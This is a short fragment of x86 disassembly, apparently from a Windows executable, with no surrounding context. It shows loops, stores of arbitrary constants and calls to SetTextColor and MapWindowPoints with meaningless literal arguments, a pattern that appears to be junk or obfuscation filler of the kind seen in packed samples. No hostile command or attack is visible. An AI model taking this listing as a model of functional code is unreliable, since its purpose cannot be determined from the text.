inc esi
cmp esi, 0x3761
jl 0x1002d5f8
push ebx
push 0x1f1d
call dword [sym.imp.GDI32.dll_SetTextColor]
xor esi, esi
push 2
inc esi
pop edi
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0x34], 0xffffff52
jge 0x1002d66d
mov edx, 0x10009ce0
mov ecx, 0x10606538
call fcn.1002c06b
jmp 0x1002d66d
mov dword [ebp - 4], 9
mov dword [ebp - 0x18], ebx
jmp 0x1002d68c
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x578]
mov dword [eax + ecx*4], 0x571177e8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1002d679
mov dword [ebp - 0x18], esi
cmp dword [ebp - 0x18], ebx
jl 0x1002d6c0
mov byte [ebp - 0x1a], bl
cmp byte [ebp - 0x1a], 0
je 0x1002d6b8
push 0x1b09
push ebx
push 0xba5
push 0x20b1
call dword [sym.imp.USER32.dll_MapWindowPoints]
mov eax, dword [ebp - 0x18]
dec dword [ebp - 0x18]
jns 0x1002d699
lea ecx, [ebp - 0x578]
mov byte [ebp - 4], 8
call fcn.1002a758
mov dword [ebp - 0x60], 0xfffffffc
mov dword [ebp - 0x50], 0xa5e2b195
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x18], ebx
jmp 0x1002d6f6
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x65c], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1002d6e9
mov dword [ebp - 0x18], ebx
jmp 0x1002d74c
mov dword [ebp - 0x2c], 0xccce1e2c
mov byte [ebp - 0x1a], bl
cmp byte [ebp - 0x1a], 0
je 0x1002d719
cmp dword [ebp - 0x18], 3
jle 0x1002d701
mov dword [ebp - 0x20], 0xe904
mov dword [ebp - 0x48], 0x94801897
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x34], esi
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x14], ebx
jmp 0x1002d7fe